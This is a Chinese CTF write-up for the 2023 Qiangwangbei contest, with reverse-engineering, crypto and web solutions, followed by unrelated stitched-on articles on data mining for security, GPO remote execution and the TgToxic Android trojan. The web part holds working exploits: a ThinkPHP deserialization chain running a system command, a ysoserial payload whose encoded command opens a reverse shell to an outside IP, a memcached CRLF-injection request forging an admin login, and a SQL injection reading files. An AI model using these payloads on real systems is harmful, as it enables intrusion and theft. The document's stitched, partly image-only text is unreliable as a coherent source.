void dump_data(uint32_t *v, int n, bool hex_or_chr)
{
    if (hex_or_chr)
    {
        for (int i = 0; i < n; i++)
        {
            printf("0x%x,", v[i]);
        }
    }
    else
    {
        for (int i = 0; i < n; i++)
        {
            for (int j = 0; j < sizeof(uint32_t) / sizeof(uint8_t); j++)
            {
                printf("%c", (v[i] >> (j * 8)) & 0xFF);
            }
        }
    }
    printf("\n");
    return;
}

int main()
{
    // v为要加解密的数据
    uint32_t v[] = {0x9523f2e0, 0x8ed8c293, 0x8668c393, 0xddf250bc, 0x510e4499, 0x8c60bd44, 0x34dcabf2, 0xc10fd260};
    // k为加解密密钥,4个32位无符号整数,密钥长度为128位
    uint32_t k[4] = {0x62, 0x6F, 0x6D, 0x62};
    // num_rounds,建议取值为32
    unsigned int r = 33;

    int n = sizeof(v) / sizeof(uint32_t);
    /*
    printf("加密前明文数据:");
    dump_data(v, n, 1);

    for (int i = 0; i < n / 2; i++)
    {
        encrypt(r, &v[i * 2], k);
    }
    */
    printf("加密后密文数据:");
    dump_data(v, n, 1);

    for (int i = 0; i < n / 2; i++)
    {
        decrypt(r, &v[i * 2], k);
    }

    printf("解密后明文数据:");
    dump_data(v, n, 1);

    printf("解密后明文字符:");
    dump_data(v, n, 0);

    return 0;
}

// W31com3_2_Th3_QwbS7_4nd_H4v3_Fun

ezre

变表base64编解码交替

2023 强网杯 writeup by Arr3stY0u

有个循环异或

2023 强网杯 writeup by Arr3stY0u

先逆循环异或

enc = [0x3A, 0x2C, 0x4B, 0x51, 0x68, 0x46, 0x59, 0x63, 0x24, 0x04,
       0x5E, 0x5F, 0x00, 0x0C, 0x2B, 0x03, 0x29, 0x5C, 0x74, 0x70,
       0x6A, 0x62, 0x7F, 0x3D, 0x2C, 0x4E, 0x6F, 0x13, 0x06, 0x0D,
       0x06, 0x0C, 0x4D, 0x56, 0x0F, 0x28, 0x4D, 0x51, 0x76, 0x70,
       0x2B, 0x05, 0x51, 0x68, 0x48, 0x55, 0x24, 0x19]
tbs = ["l+USN4J5Rfj0TaVOcnzXiPGZIBpoAExuQtHyKD692hwmqe7/Mgk8v1sdCW3bYFLr",
       "FGseVD3ibtHWR1czhLnUfJK6SEZ2OyPAIpQoqgY0w49u+7rad5CxljMXvNTBkm/8",
       "Hc0xwuZmy3DpQnSgj2LhUtrlVvNYks+BX/MOoETaKqR4eb9WF8ICGzf6id1P75JA",
       "pnHQwlAveo4DhGg1jE3SsIqJ2mrzxCiNb+Mf0YVd5L8c97/WkOTtuKFZyRBUPX6a",
       "plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6"]
aaa = [ord(c)
       for c in "plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6"]
for i in range(len(aaa)):
    aaa[i] ^= 0x27
v5 = aaa[6:6+0x15]
v7 = 2023
v6 = 0
v8 = 48
xor = []
while v6 < v8 - 1:
    if v6 % 3 == 1:
        v7 = (v7 + 5) % 20
        v3 = v5[v7 + 1]
    elif v6 % 3 == 2:
        v7 = (v7 + 7) % 19
        v3 = v5[v7 + 2]
    else:
        v7 = (v7 + 3) % 17
        v3 = v5[v7 + 3]
    v6 += 1
    xor.append(v3)
for i in range(len(enc)-1, -1, -1):
    enc[i] ^= enc[i-1]
    if i <= len(enc)-2:
        enc[i] ^= xor[i]
print(bytes(enc))
# jZqSWcUtWBLlOriEfcajWBSRstLlkEfFWR7j/R7dMCDGnp==

再逆变表base64编解码再补全

2023 强网杯 writeup by Arr3stY0u

flag{3ea590ccwxehg715264fzxnzepqz}

石头剪刀布

因为模型的预测是只跟输入的sequence有关,所以可以根据当前情况的最优解输入进去来得到模型的下一步输出,这样就可以得到我们下一步的最优解。一直循环下去,就可以得到全部的最优解。

由于前面5次大模型是随机输出的,因此我们可以考虑从第6次开始求最优解。最坏情况下,前5次全输,需要87步即可达到260分,即第92轮时,因此可以通过本题。

from pwn import remote

ip = '<ip>'
port = '<port>'

class GetStatus:
    def __init__(self, _ip=ip, _port=port) -> None:
        self.r = remote(_ip, _port)
        self.score = 0

    def getdiff(self, out):
        self.r.sendlineafter('请出拳'.encode(), str(out).encode())
        self.r.recvuntil('分数:'.encode())
        newscore = int(self.r.recvline().decode()) 
        diff = newscore - self.score
        self.score = newscore
        return diff

    def test_list(self, lis):
        for out in lis:
            diff = self.getdiff(out)
            if self.score >= 260:
                return 'win'
        return diff

current_best = [0] * 5
diff2out = {
    3: 0,
    1: 2,
    0: 1
}
while len(current_best) <= 100:
    current_best.append(0)
    c = GetStatus()
    diff = c.test_list(current_best)
    if c.score >= 260:
        c.r.interactive()
        break
    c.r.close()
    current_best[-1] = diff2out[diff]
    print(f'Round {len(current_best)}: {current_best}')
或者

按照如下顺序即可获胜

0000011220120220110111222010022012110021012012202100112022100112110020110220210201

2qrcfev5yae13463.png

CRYPTO

not only rsa

n是一个质数5次方,可以求解1和C的根后进行组合出所有C的根,sage脚本如下:

from Crypto.Util.number import  long_to_bytes
p=91027438112295439314606669837102361953591324472804851543344131406676387779969
e = 641747
c = 730024611795626517480532940587152891926416120514706825368440230330259913837764632826884065065554839415540061752397144140563698277864414584568812699048873820551131185796851863064509294123861487954267708318027370912496252338232193619491860340395824180108335802813022066531232025997349683725357024257420090981323217296019482516072036780365510855555146547481407283231721904830868033930943
n=p^5
K=Zmod(p^5)
a=K(c).nth_root(e)
b=K(1).nth_root(e)
a=int(a)
b=int(b)
print(b,a)
from tqdm import tqdm
for i in tqdm(range(e)):
  a=(a*b)%n
  m=long_to_bytes(int(a))
  if b"flag" in m:
    print(m)
    break

#flag{c19c3ec0-d489-4bbb-83fc-bc0419a6822a}

 

discrete_log

阅读代码,题目给的假flag长度较小,猜测实际flag长度也较小,据此采用中间相遇思想进行破解

import itertoolsfrom gmpy2 import *from Crypto.Util.Padding import *from Crypto.Util.number import *from tqdm import tqdmp = 173383907346370188246634353442514171630882212643019826706575120637048836061602034776136960080336351252616860522273644431927909101923807914940397420063587913080793842100264484222211278105783220210128152062330954876427406484701993115395306434064667136148361558851998019806319799444970703714594938822660931343299g = 5c = 105956730578629949992232286714779776923846577007389446302378719229216496867835280661431342821159505656015790792811649783966417989318584221840008436316642333656736724414761508478750342102083967959048112859470526771487533503436337125728018422740023680376681927932966058904269005466550073181194896860353202252854q = 86691953673185094123317176721257085815441106321509913353287560318524418030801017388068480040168175626308430261136822215963954550961903957470198710031793956540396921050132242111105639052891610105064076031165477438213703242350996557697653217032333568074180779425999009903159899722485351857297469411330465671649flag_len=12fake_flag_pad='flag{'.encode() +'x00'.encode()*flag_len+'}'.encode()flag_pattern = (pad(fake_flag_pad, 128))#print(flag_pattern)flag_pattern=bytes_to_long(flag_pattern)pattern=1<<888#print(bin(pattern))cc = c * inverse(pow(g,flag_pattern,p),p)%pcc = pow(cc, inverse(pattern, q), p)print(cc)table = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']dic = dict()gtemp= pow(g, 2**48, p)for half_flag1 in tqdm(itertools.product(table, repeat=6)):    half_flag1 = bytes_to_long(''.join(half_flag1).encode())    temp = cc * powmod(gtemp, -(half_flag1), p) % p    dic[temp] = half_flag1for half_flag2 in tqdm(itertools.product(table, repeat=6)):    half_flag2 = bytes_to_long(''.join(half_flag2).encode())    temp = powmod(g, half_flag2, p)    if temp in dic:        print(long_to_bytes(dic[temp]) + long_to_bytes(half_flag2))

WEB

thinkshop

附件在本地起docker可以得到源码,审计发现admin路由

后台路径 /public/index.php/index/admin/login.html

1/123456登陆后台

 

sjhzdtazw4g13465.jpg

 

审计发现在保存操作调用save->updatedata

 

senrvrqy2wr13469.jpg

 

在updatedata存在SQL注入,$key相当于是$data中的一个键值。

 

yml5zi2gann13471.jpg

 

在保存商品时会调用saveGoods数据进行序列化之后保存到数据库

 

pd5ft4eg34j13473.jpg

 

在编辑页面可以看到数据抽取时会进行反序列化操作

 

vqcz1yb0pnz13477.jpg

 

利用SQL注入修改data数据的值,本题data是数组,且会插入数据库,最终的payload需要改一下让前后闭合,且TP5,在网上找一个链子的EXP改一下

https://www.freebuf.com/vuls/317886.html

<?php
namespace think\process\pipes{
    use think\model\Pivot;
    ini_set('display_errors',1);
    class Windows{
        private $files = [];
        public function __construct($function,$parameter)
{
            $this->files = [new Pivot($function,$parameter)];
        }
    }
    $aaa = new Windows('system','nl /f*');
    echo base64_encode(serialize(array($aaa)));
}
namespace think{
    abstract class Model
    {}
}
namespace think\model{
    use think\Model;
    use think\console\Output;
    class Pivot extends Model
{
        protected $append = [];
        protected $error;
        public $parent;
        public function __construct($function,$parameter)
{
            $this->append['jelly'] = 'getError';
            $this->error = new relation\BelongsTo($function,$parameter);
            $this->parent = new Output($function,$parameter);
        }
    }
    abstract class Relation
{}
}
namespace think\model\relation{
    use think\db\Query;
    use think\model\Relation;
    abstract class OneToOne extends Relation
{}
    class BelongsTo extends OneToOne
{
        protected $selfRelation;
        protected $query;
        protected $bindAttr = [];
        public function __construct($function,$parameter)
{
            $this->selfRelation = false;
            $this->query = new Query($function,$parameter);
            $this->bindAttr = [''];
        }
    }
}
namespace think\db{
    use think\console\Output;
    class Query
{
        protected $model;
        public function __construct($function,$parameter)
{
            $this->model = new Output($function,$parameter);
        }
    }
}
namespace think\console{
    use think\session\driver\Memcache;
    class Output
{
        protected $styles = [];
        private $handle;
        public function __construct($function,$parameter)
{
            $this->styles = ['getAttr'];
            $this->handle = new Memcache($function,$parameter);
        }
    }
}
namespace think\session\driver{
    use think\cache\driver\Memcached;
    class Memcache
{
        protected $handler = null;
        protected $config  = [
            'expire'       => '',
            'session_name' => '',
        ];
        public function __construct($function,$parameter)
{
            $this->handler = new Memcached($function,$parameter);
        }
    }
}
namespace think\cache\driver{
    use think\Request;
    class Memcached
{
        protected $handler;
        protected $options = [];
        protected $tag;
        public function __construct($function,$parameter)
{
            // pop链中需要prefix存在,否则报错
            $this->options = ['prefix'   => 'jelly/'];
            $this->tag = true;
            $this->handler = new Request($function,$parameter);
        }
    }
}
namespace think{
    class Request
    {
        protected $get     = [];
        protected $filter;
        public function __construct($function,$parameter)
{
            $this->filter = $function;
            $this->get = ["jelly"=>$parameter];
        }
    }
}
//YToxOntpOjA7TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJqZWxseSI7czo4OiJnZXRFcnJvciI7fXM6ODoiACoAZXJyb3IiO086MzA6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEJlbG9uZ3NUbyI6Mzp7czoxNToiACoAc2VsZlJlbGF0aW9uIjtiOjA7czo4OiIAKgBxdWVyeSI7TzoxNDoidGhpbmtcZGJcUXVlcnkiOjE6e3M6ODoiACoAbW9kZWwiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6MTA6IgAqAGhhbmRsZXIiO086MTM6InRoaW5rXFJlcXVlc3QiOjI6e3M6NjoiACoAZ2V0IjthOjE6e3M6NToiamVsbHkiO3M6NjoibmwgL2YqIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9czoxMDoiACoAb3B0aW9ucyI7YToxOntzOjY6InByZWZpeCI7czo2OiJqZWxseS8iO31zOjY6IgAqAHRhZyI7YjoxO31zOjk6IgAqAGNvbmZpZyI7YToyOntzOjY6ImV4cGlyZSI7czowOiIiO3M6MTI6InNlc3Npb25fbmFtZSI7czowOiIiO319fX1zOjExOiIAKgBiaW5kQXR0ciI7YToxOntpOjA7czowOiIiO319czo2OiJwYXJlbnQiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6MTA6IgAqAGhhbmRsZXIiO086MTM6InRoaW5rXFJlcXVlc3QiOjI6e3M6NjoiACoAZ2V0IjthOjE6e3M6NToiamVsbHkiO3M6NjoibmwgL2YqIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9czoxMDoiACoAb3B0aW9ucyI7YToxOntzOjY6InByZWZpeCI7czo2OiJqZWxseS8iO31zOjY6IgAqAHRhZyI7YjoxO31zOjk6IgAqAGNvbmZpZyI7YToyOntzOjY6ImV4cGlyZSI7czowOiIiO3M6MTI6InNlc3Npb25fbmFtZSI7czowOiIiO319fX19fX0

在编辑页面修改抓包

 

fgasrr5lo1u13481.jpg

 

放包

2023 强网杯 writeup by Arr3stY0u

再次访问该商品得到flag

 

12xoqpkmw1x13488.jpg

 

flag{c7c7e293-d532-496b-b414-c28bb3fe9aa7}

happygame

使用grpcui工具

grpcui -plaintext ip:port

打开以后可以发现一个序列化参数。

 

akbvfccultj13491.jpg

 

猜测后端是java组件,这里经过测试,发现CC5可以攻击,所以用ysoserial生成payload,因为exec会把管道符当做参数,所以需要先编码

java -jar ysoserial-main-923a2bda4e-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny43Ni4xNzguODkvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}" | base64

发送该数据,即可成功反弹shell

 

ju35ovfggda13494.jpg

 

thinkshopping

第二天又上了thinkshopping这一题,和前一题主要的区别是goods_edit.html中的反序列化入口被删了anfzusczmkq13498.jpg

还有admin表中的内容被清空了,没有1、admin、e10adc3949ba59abbe56e057f20f883e这条数据了

更重要的是,secure_file_priv的值为空了3x31zpw5wqd13501.png

而前一题还是有值的

bisx2uych5x13505.png

当然,前一题的SQL注入点依然存在,不过依然需要鉴权进入后台,这意味着,只需要我们能进入后台,就能通过load_file的方式读取flag。

那么,如何进入到后台呢?前面提到,容器在启动的时候使用了memcached,但是在前一题中并没有用到z3iy5truub013509.jpg

并且启动了memcached后,ThinkPHP中也配置了cache使用memcached做缓存riinkhi10e213512.jpg

而在登录时,使用了cache先获取缓存q23anmzswsz13513.jpg

跟进一下find逻辑,由于出题人配置了cache,所以会将数据缓存到memcached中,这里的缓存的key格式为:think:shop.admin|usernameg5a3addemxk13516.jpg

那么如何控制缓存的值呢?memcached存在CRLF注入漏洞,具体可参考下方文章:

 https://www.freebuf.com/vuls/328384.html

简单来说,就是能set任意的值,例如下方的payload,就能注入一个snowwolf的键,且值为wolf,4代表数据长度

TOKEN%00%0D%0Aset%20snowwolf%200%20500%204%0D%0Awolf

等价于
set snowwolf 0 500 4
wolf
那么我们需要注入一个怎么样的数据呢?我们可以看一下存储之后的数据是长什么样的,将下面的内容添加到路由,然后访问执行
 public function test(){
    $result = Db::query("select * from admin where id=1");
    var_dump($result);
    $a = "think:shop.admin|admin";
    Cache::set($a, $result, 3600);
}

查看memcached中的值,长得像个序列化字符串

telnet 127.0.0.1 11211

get think:shop.admin|admin
a:1:{i:0;a:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"21232f297a57a5a743894a0e4a801fc3";}}
l5weoou5edr13519.jpg

这里有个坑点,就是memcached本身是没有数据类型的,只有key-value的概念,存放的都是字符串,但是PHP编程语言给它给予了数据类型的概念(当flags为0为字符串,当flags4为数组等等),我们看一下memcached的set命令格式:

上图中的红色箭头所指向的4,就是下方的flags位置,也就是说,在PHP中,flags为4的缓存数据,被当做数组使用

set key flags exptime bytes [noreply] 

value 

所以我们在构造CRLF注入的命令时,需要注意在set时,把flags设置为4

POST /public/index.php/index/admin/do_login.html HTTP/1.1
Host: eci-2ze7q6gtt4a3a07rywcf.cloudeci1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=korn6f9clt7oere36ke7pj7m70

username=admin%00%0D%0Aset%20think%3Ashop.admin%7Cadmin%204%20500%20101%0D%0Aa%3A3%3A%7Bs%3A2%3A%22id%22%3Bi%3A1%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A32%3A%2221232f297a57a5a743894a0e4a801fc3%22%3B%7D&password=admin

再用admin、admin去登录即可,登录到后台之后,再带上session去load_file读flag即可

POST /public/index.php/index/admin/do_edit.html HTTP/1.1
Host: eci-2ze7q6gtt4a3a07rywcf.cloudeci1.ichunqiu.com
Content-Length: 183
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=korn6f9clt7oere36ke7pj7m70

data`%3Dunhex('')/**/,`name`%3Dload_file('/fffflllaaaagggg')/**/where/**/id%3D1/**/or/**/1%3D1#=1&id=1&name=a&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=1&data=%27%0D%0Aa
ysju3dszrhe13522.jpg  

参考原文链接:

https://mp.weixin.qq.com/s/ksGjGGeYjvWpgmRA5xyBpg https://mp.weixin.qq.com/s/ZNbUGyYkLP0YWDGIVMN-Zw https://mp.weixin.qq.com/s/zBWgPmK4edhkc153A7cvTw https://blog.csdn.net/qq_65165505/article/details/135044734

僅在2021 年,人類就創建、複製和使用了大約74 澤字節(萬億千兆字節)的數據。看起來我們擁有所需的所有數據,但實際上每年都越來越難找到相關信息。幸運的是,數據挖掘等技術可以幫助我們恢復數據的秩序,並利用它來提高我們的網絡安全。

使用數據挖掘技術分析您的數據庫和安全日誌可以幫助您改進對惡意軟件、系統和網絡入侵、內部攻擊以及許多其他安全威脅的檢測。有些技術甚至可以準確預測攻擊並檢測零日威脅。

在本文中,我們研究了關鍵數據挖掘技術以及網絡和端點安全中數據挖掘的五個用例。這篇文章對於開發網絡安全軟件並希望提高其威脅檢測能力的團隊很有用。

網絡安全中的數據挖掘:過程、優點和缺點什麼是數據挖掘?數據挖掘是分析信息、發現新模式和數據以及預測未來趨勢的過程。它經常用於科學研究、業務開發、客戶關係和其他領域。

雖然術語數據挖掘通常被視為數據庫中知識發現(KDD)的同義詞,但它實際上只是KDD 過程中的步驟之一。 KDD 的主要目標是從大量數據中獲取有用且通常是以前未知的信息。整個KDD流程包括四個步驟:

image.png

數據庫中知識發現的4 個步驟

KDD 廣泛應用於任何可以從海量數據分析中獲益的領域:科學研究、商業分析、營銷研究等。它還被網絡犯罪分子用來尋找新的攻擊方式,並被網絡安全專業人員用來檢測和阻止這些新的攻擊。

結合數據挖掘和網絡安全可以確定網絡攻擊的特徵並改進攻擊檢測過程。為了獲得有價值的知識,數據挖掘使用了來自統計學、機器學習(ML)、人工智能(AI) 和數據庫系統的方法。

數據挖掘可幫助您快速分析龐大的數據集並自動發現隱藏的模式,這對於創建能夠檢測以前未知威脅的有效反惡意軟件解決方案至關重要。但是,使用數據挖掘方法的最終結果始終取決於您使用的數據質量。

依靠數據挖掘來改進保護有其自身的優點和缺點。讓我們來看看它們:

image.png

這些是出於網絡安全目的而挖掘數據的一般利弊。除此之外,每種數據挖掘技術都有自己的優勢、局限性和特定的用例。讓我們來看看網絡安全的六種關鍵數據挖掘方法。

6 大關鍵數據挖掘技術您可以使用預測或描述技術來挖掘數據庫。說明性技術根據過去的事件進行預測,而描述性技術側重於對現有數據庫的分析和構建。

讓我們來看看網絡安全的六種關鍵數據挖掘技術:

image.png

挖掘網絡安全數據的技術

分類此技術通過將大型數據集分解為預定義的類、概念和變量組來創建數據庫模型。您還可以使用它來分析構建模型後添加到數據庫中的變量,並為它們分配相應的類。為了實現準確的實時分類,您需要非常注意算法的監督訓練以及測試其工作原理。在網絡安全中,分類通常用於檢測垃圾郵件和網絡釣魚電子郵件。

回歸分析這些算法根據數據集中其他變量的已知平均值來預測一個變量的變化值。使用此技術,您可以在數據庫中建立因變量和自變量之間的關係模型。分析變量的變化並將這些變化與因變量進行比較可以幫助您確定變化的原因以及一個變量對另一個變量的影響。回歸分析廣泛用於預測趨勢和事件,包括可能的網絡攻擊。

時間序列分析這些算法通過分析數據庫中任何數據條目更改的時間來發現和預測基於時間的模式。這種技術對於通過挖掘多年數據庫來深入了解各種週期性活動特別有用。您可以依靠時間序列分析來預測在特定事件、季節甚至一天中的某個時間發生的安全漏洞和攻擊。

關聯規則分析這是最廣泛的數據挖掘算法之一。關聯規則分析可以幫助您發現數據庫中頻繁一起出現的變量之間可能存在的關係,並發現隱藏的模式。您可以應用此技術來分析和預測用戶行為、檢查網絡流量以及定義網絡攻擊模式。安全人員經常使用關聯規則分析來研究攻擊者的行為和思維方式。

聚類聚類有助於識別具有共同特徵的數據項並了解變量的異同。它類似於分類,但聚類不能實時對變量進行排序。此技術只能幫助您構建和分析現有數據庫。與分類相比,聚類允許在模型中進行更改並創建子集群,而無需重新設計所有算法。

總結這種數據挖掘技術側重於編譯數據集、類和集群的簡要描述。摘要可以幫助您更好地了解數據集的內容和數據挖掘過程的結果,因為它可以掌握數據的本質並消除手動挖掘數據的需要。在網絡安全解決方案中,匯總主要用於生成報告和可視化日誌。

請記住,這些數據挖掘技術中的每一種都可以通過ML 和AI 算法得到增強。這些尖端技術可以幫助您發現更多隱藏的模式並提高預測的準確性。然而,將ML 和AI 添加到網絡安全解決方案中肯定會增加其開發和維護的複雜性。

接下來,我們將仔細研究特定用例,展示如何將數據挖掘用於網絡安全解決方案。

網絡安全中的數據挖掘用例您可以將數據挖掘應用於任何數據庫,並根據您想要實現的任何目標對其進行調整。在網絡安全領域,挖掘算法通常有助於發現可能表明安全事件的異常數據記錄和事件。

以下是數據挖掘在計算機安全領域最常見的五種應用:

image.png

1.惡意軟件檢測在構建安全軟件時,開發人員使用數據挖掘方法來提高惡意軟件檢測的速度和質量,以及檢測零日攻擊。

檢測惡意軟件的策略有以下三種:

image.png

惡意軟件檢測策略

異常檢測涉及對系統或網絡的正常行為進行建模,以識別與正常活動模式的偏差。基於異常的技術甚至可以檢測到以前未知的攻擊,並可用於定義濫用檢測器的簽名。

但是,異常檢測甚至可以報告偏離規範的合法活動,從而產生誤報。

誤用檢測,也稱為基於簽名的檢測,僅根據簽名示例識別已知攻擊。這種技術的誤報率較低,但無法檢測到零日攻擊。

混合方法結合了異常和濫用檢測技術,以增加檢測到的入侵數量,同時減少誤報數量。混合檢測算法不構建任何模型。相反,他們使用來自惡意軟件和合法程序的信息來創建分類器,這是一組規則或由數據挖掘算法生成的檢測模型。然後系統的異常檢測部分搜索與正常配置文件的偏差,系統的誤用檢測部分查找代碼中的惡意軟件簽名。

無論您選擇哪種策略,惡意軟件檢測系統的開發都包括兩個步驟:

image.png

惡意軟件檢測過程

首先,數據挖掘算法從API 調用、n-gram、二進製字符串、程序行為和其他事件的記錄中提取惡意軟件特徵。您可以應用靜態、動態或混合分析來從可能不安全的文件中提取惡意軟件特徵。

在分類聚類的過程中,可以使用相應的技術,根據特徵分析對文件樣本進行分組。此時,您需要使用RIPPER、決策樹、人工神經網絡、樸素貝葉斯或支持向量機等分類算法構建分類器。

使用ML 技術,每個分類算法都會構建一個模型來表示良性和惡意類。使用此類文件樣本集合訓練分類器使您甚至可以檢測新發布的惡意軟件。

2.入侵檢測攻擊者可以通過組織的網絡、數據庫、服務器、Web 客戶端和操作系統執行惡意入侵。使用數據挖掘技術,您可以分析審計結果並識別異常模式。因此,您可以檢測入侵、網絡和系統掃描、拒絕服務和滲透攻擊。

數據挖掘方法對於檢測這些類型的入侵特別有效:

image.png

通過數據挖掘檢測入侵

要檢測基於主機的攻擊,您的網絡安全軟件需要分析從程序中提取的特徵。檢測基於網絡的攻擊需要這樣的解決方案來分析網絡流量。與惡意軟件檢測一樣,您可以查找異常行為或濫用案例。

入侵檢測系統通常基於分類、聚類和關聯規則技術。這些技術允許從數據庫中提取攻擊特徵,將它們系統化,並標記任何具有相同特徵的新記錄。您可以在此處使用的一些算法包括回歸和決策樹、貝葉斯網絡、k 最近鄰、學習自動機和層次聚類。

您還可以向入侵檢測系統添加預測功能。分類和時間序列分析等技術可以計算未來入侵的可能性。使用AI 算法可以更輕鬆地檢測隱藏的或以前未知的可疑活動。

3.欺詐檢測檢測欺詐具有挑戰性,因為欺詐活動通常很隱蔽,而且網絡犯罪分子不斷發明新的欺詐模式。

利用機器學習的數據挖掘技術可以發現多種類型的欺詐行為,從金融欺詐到電信欺詐和計算機入侵。 ML 對於欺詐檢測特別有用,因為它可以:

擴展以考慮數據庫數量和復雜性的變化

學習檢測和預測新型欺詐

準確計算欺詐活動的概率

您可以使用監督和非監督ML 算法來檢測欺詐。

通過監督學習,所有可用記錄都被歸類為欺詐或非欺詐。然後使用此分類來訓練模型以檢測可能的欺詐行為。這種方法的主要缺點是無法檢測新型攻擊。

無監督學習方法從未標記的記錄中學習欺詐模式。他們為欺詐活動創建自己的分類和特徵描述。無監督學習有助於在不使用統計分析的情況下識別數據中的隱私和安全問題。它還能夠分析和檢測新型欺詐。

4.威脅情報收集有關網絡安全威脅的證據通常分散在組織的網絡中。這些記錄可用於形成訓練數據集、構建挖掘模型並提高預測準確性。但挑戰在於在數TB 的記錄中找到相關數據。

數據挖掘算法有助於發現此類隱藏數據並將其轉換為結構化的威脅情報數據庫。您可以使用聚類、關聯規則和匯總技術來發現這些類型的智能:

image.png

安全威脅情報的類型

數據挖掘通常僅用於威脅情報的第一階段:發現和構建數據。之後,網絡安全專家必須手動審查發現的數據並決定如何對其採取行動。但是,您也可以使用數據挖掘技術構建一個基於機器學習的框架來收集和處理數據。

5. 內部威脅檢測與預測內部威脅是可能對組織造成傷害的合法用戶的活動。檢測內部威脅活動通常是一項棘手的任務,因為這些行為通常看起來與普通用戶活動相似,或者它們可以被故意隱藏在威脅檢測機制之外。

由於大數據算法可以檢測機器和人類用戶的異常行為,因此它們被廣泛用於檢測和預測內部威脅。與入侵檢測系統類似,內部威脅檢測系統基於識別合法和威脅行為的特徵。

有多種基於機器學習的分類和聚類算法,包括有監督和無監督的,有助於檢測內部威脅。此外,您還可以根據數據挖掘原理訓練深度神經網絡,以檢查網絡安全日誌並實時檢測可能的內部活動。

結論可靠、相關且結構良好的數據是幾乎所有網絡安全解決方案的基礎。雖然組織每天都會生成大量數據,但手動收集和處理所有這些數據以應對網絡安全威脅是不可能的。

數據挖掘技術可以幫助您識別任何惡意活動的特徵,甚至可以預測可能的攻擊。它們在收集威脅情報和檢測惡意軟件、入侵、欺詐和內部攻擊方面特別有效。通過數據挖掘增強保護的主要好處是能夠識別已知攻擊和零日攻擊。

0x00 前言在之前的文章《域渗透——利用GPO中的计划任务实现远程执行》 介紹了通過域組策略(Group Policy Object)遠程執行計劃任務的方法,本文將要介紹類似的另外一種方法:通過域組策略(Group Policy Object)的腳本實現遠程執行。

0x01 簡介本文將要介紹以下內容:

通過Group Policy Management Console (GPMC) 實現腳本的遠程執行

通過命令行實現腳本的遠程執行

新建GPO實現遠程執行

修改已有的GPO,實現遠程執行

實現細節

0x02 通過Group Policy Management Console (GPMC) 實現腳本的遠程執行1、創建GPO 1.png 2.png 3.png 4.png 5.png2.配置GPO 6.png 7.png 8.png

0x03 通過命令行實現腳本的遠程執行1.作用於全域9.png 19.png2.作用於指定目標20.png 21.png 22.png

0x04 修改已有的GPO,實現遠程執行23.png 24.png 25.png

0x05 直接執行遠程腳本當我們選擇直接執行組策略文件夾中的bat文件,會彈框提示無法執行,如下圖

26.png

27.png 28.png

0x06 小結本文介紹了通過域組策略(Group Policy Object)中的腳本實現遠程執行的方法,分享實現細節和利用思路。

最近趨勢科技的研究人員發現了自2022年7月以來針對中國台灣、泰國和印度尼西亞的Android手機用戶的持續惡意軟件活動,並將其命名為TgToxic。該惡意軟件竊取用戶的憑證和資產,如數字錢包中的加密貨幣,以及銀行和金融應用程序中的資金。

通過分析惡意軟件的自動化功能,研究人員發現了攻擊者濫用了合法的測試框架Easyclick,為點擊和手勢等功能編寫了基於javascript的自動化腳本。研究人員發現攻擊者的目標是通過嵌入多個虛假應用程序的銀行木馬,趨勢科技根據其特殊的加密文件名將其檢測為AndroidOS_TgToxic,該木馬從金融和銀行應用程序(如加密貨幣錢包、手機上官方銀行應用程序的憑據和存款)中竊取受害者的資產。雖然之前針對的是中國台灣的用戶,但在撰寫本文時,研究人員已經觀察到針對泰國和印度尼西亞用戶的欺詐活動和網絡釣魚。建議用戶小心打開來自未知電子郵件和消息發送者的嵌入鏈接,並避免從第三方平台下載應用程序。

發現過程自2022年下半年以來,研究人員一直在監測這個活動,發現它的基礎設施和目標在不斷變化。以下是該活動時間表:

2022年7月:Facebook上出現了欺詐性帖子,通過社交工程在社交媒體平台上嵌入了針對中國台灣省用戶的釣魚鏈接;

2022年8月下旬至10月:色情欺詐還針對中國台灣和印度尼西亞用戶,誘使他們註冊,以便攻擊者竊取他們的證件;

2022年11月至2023年1月:短信釣魚(SMiShing)針對泰國用戶,在此期間使用的一些網絡釣魚網站還顯示,攻擊者通過加密貨幣騙局將其活動進一步擴展到印度尼西亞。

